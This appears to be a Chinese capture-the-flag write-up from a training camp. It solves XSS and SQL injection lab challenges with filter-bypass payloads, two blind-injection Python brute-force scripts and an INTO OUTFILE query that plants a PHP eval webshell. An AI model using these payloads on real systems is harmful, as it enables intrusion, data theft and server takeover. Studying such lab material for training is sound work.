御林夏令营 basic(2)

XSS

XSS-1、

发现什么都没有,先看看 F12

发现隐藏的信息

在一般的测试中,我们通常使用alert()来触发一个弹窗,表示已经成功向页面中注入了一段恶意js代码。当你成功让页面自动触发一个弹窗,你将会得到flag。(当然,自己手动触发的不算~)

那么我们就在 url 处借助 name 注入 alert() -> ?name= , 得到 flag

XSS-2

STFW

但是没用,F12 看一下,发现变成了编码,可能是尖括号被过滤了

试试其他的,看了下网络源代码,发现只有单引号,双引号变成了 &quot,只能用单引号

那就只能考虑注入事件属性来 xss ,可以考虑用 onfocus 和 onerror (为了处理第二个单引号)

<input name=keyword value='' onfocus=alert(1) onerror=''>

XSS-3

查看源代码发现是双引号,那上一题的代码换双引号试试,没想到竟然成功了(

XSS-4

稍微试了一下,发现 on 被过滤了 on -> o_n ,script 也被过滤了

Web漏洞-XSS绕过和pikachu靶场4个场景(三)

<a href=javascript:alert('1') > 1</a> 就成功了

<img src=javascript:alert(1)> 却失败了,可能是版本不够

XSS-5

稍微试了一下发现 script 被删除了,那么直接双写就好了

alert(1)

删完一个 script 后就只剩下

XSS-6

过滤的字符 -> ” < > &

但是发现源代码里将输入传到了超链接里,尝试使用 javascript:alert(1) 输入

发现超链接中 <a href="javascr_ipt:alert(1);"> ,javascript 被过滤了

可以尝试换行来防止过滤,注意换行要在 url 输入,用 %0a

类似这样 -> ?keyword=javascri%0apt:alert(1);&submit=添加友情链接

XSS-7

稍微试一下 ?keyword=…

过滤的字符 -> ” < > ,发现是在 keyword 里面过滤的

因为查看源代码,看到还有三个变量可以输入,分别试了一下,发现只有 t_sort 有用

试一下发现 < > 被过滤了,上网找找有什么好用的事件

有个 onmousemove ,用法 ->

但是同时还要将 t_sort 的 type 改成 text 或者 button

?t_sort=” onmousemove=alert(1) type=”text

【XSS】 全部解决

SQL Injection

学长精品推荐学习资料() -> SQL注入由简入精

SQL-1、

首先可以判断是数字型的查询

我们需要用 order by(或 group by )来判断当前表的列数

?id=1 order by 3

能正常输出且最大,那列数就是3

接着获取当前数据库名称

?id=-1 union select 1,2,database()

id=-1 是为了查询的那一行不回显

然后就可以看看表名了

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

发现目标 flag 表,看看表里的列名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='flag'

flag 表里的列名有 id 和 flag,那就直接查询了

?id=-1 union select 1,2,flag from flag 

这样就差不多是注入的完整流程了

SQL-2、

判断为数字型查询

?id=2 union select 1,2,databese()

可以通过写错命令来获得库名

?id=2 union select 1,2,extractvalue(1,concat(0x7e,database()))

或者通过 extractvalue() 函数来报错获得库名

原理如上

后面可以

?id=2 union select 1,2,extractvalue(1,concat(0x7e,___))

将下划线部分替换成注入命令就可以通过报错来获得命令的回显了

那么流程就和上一题差不多

但是有一个问题,就是报错默认只能显示32个字符,可以用 substring() 函数解决

试了一下,好像最多只能显示32个字符,但是可以改变开始输出位置

?id=2 union select 1,2,extractvalue(1,concat(0x7e, substring((select flag from flag),1,30) ))
?id=2 union select 1,2,extractvalue(1,concat(0x7e, substring((select flag from flag),31,30) ))

然后接起来就ok(虽然有点麻烦()

也可以使用 updatexml() 函数,或 floor() 函数,详细的可以看上面的学习视频

SQL-3、

http://101.35.209.40:20003/?id=1 and ascii(substring((select flag from flag),1,1))=ascii('a')

类似这样,上面这行注入就什么都不会显示,返回的是 False

http://101.35.209.40:20003/?id=1 and ascii(substring((select flag from flag),1,1))=ascii('Y')

而像上面这行注入就会有显示(比如本题中显示’OK’),返回的是 True,证明得到的第一个字符为 ‘Y’

那就可以写个 python 脚本来一个一个试,最后得到完整的回显(我是写一个一个试,虽然会跑很久(()

(也可以写二分,但是感觉会写出 bug 然后调很久(()

import requests

headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0"}

now = 1
st = ""
while 1:
    ox = 33 # !
    x = chr(ox)
    url = f"http://101.35.209.40:20003/?id=1 and ascii(substring((select flag from flag),{now},1))=ascii('{x}')"
    res = requests.get(url)
    while 'OK' not in res.text:
        ox += 1
        x = chr(ox)
        url = f"http://101.35.209.40:20003/?id=1 and ascii(substring((select flag from flag),{now},1))=ascii('{x}')"
        res = requests.get(url)
    st += x
    now += 1
    print(x)
    if x == '}':
        break
print(st)

写的不是很好看()

SQL-4、

其实原理和上一题差不多,也是一个字符一个字符尝试,但是这道题返回 True 也没有回显,那么可以使用 sleep() 函数来判断字符是否正确

那还是用 python 写个脚本来试

import requests

headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0"}

url="http://101.35.209.40:20004/?id=1 and if(ascii(substr((select flag from flag),1,1))=ascii('Y'),sleep(2),sleep(0)) "

now = 1
st = ""

while 1:
    ox = 33
    x = chr(ox)
    url = f"http://101.35.209.40:20004/?id=1 and if(ascii(substr((select flag from flag),{now},1))=ascii('{x}'),sleep(2),sleep(0))"
    res = requests.get(url)
    t = res.elapsed.total_seconds()
    while t < 2 or t > 2.5:
        ox += 1
        x = chr(ox)
        url = f"http://101.35.209.40:20004/?id=1 and if(ascii(substr((select flag from flag),{now},1))=ascii('{x}'),sleep(2),sleep(0))"
        res = requests.get(url)
        t = res.elapsed.total_seconds()
    st += x
    now += 1
    print(x)
    if x == '}':
        break
print(st)

但是这道题有一个相当重要的点,就是 t 的限制范围和网络一定要搞好,不然网卡了接收也会变久,然后就被判断为 True ((

SQL-5、

经典过滤,过滤了 空格 and or union select +等

绕过空格可以用 %0A

绕过 and or union select 等关键词可以用大写绕过,例如 aNd Or uNion sElect等

注意本题的闭合方式是 ?id=1")) ... or (("1"="1,稍微试一下就知道

那么就可以注入了

?id=0"))%0AUnion%0ASelect%0A1,(Select%0Aflag%0Afrom%0Aflag),3%0AOr%0A(("1"="1

SQL-6、

小试一下

提示是getshell

sql注入getshell的几种方式

那就模仿上文

?id=0 union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile '/app/public/666.php'--+

然后用蚁剑连接就行

SQL-7、

有点奇怪,直接POST传就出了,看看是不是题目有问题()

SQL-8、

宽字节注入

那就照样来绕过 addslashes() 函数

?id=0%df" union select 1,2,flag from flag --+

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇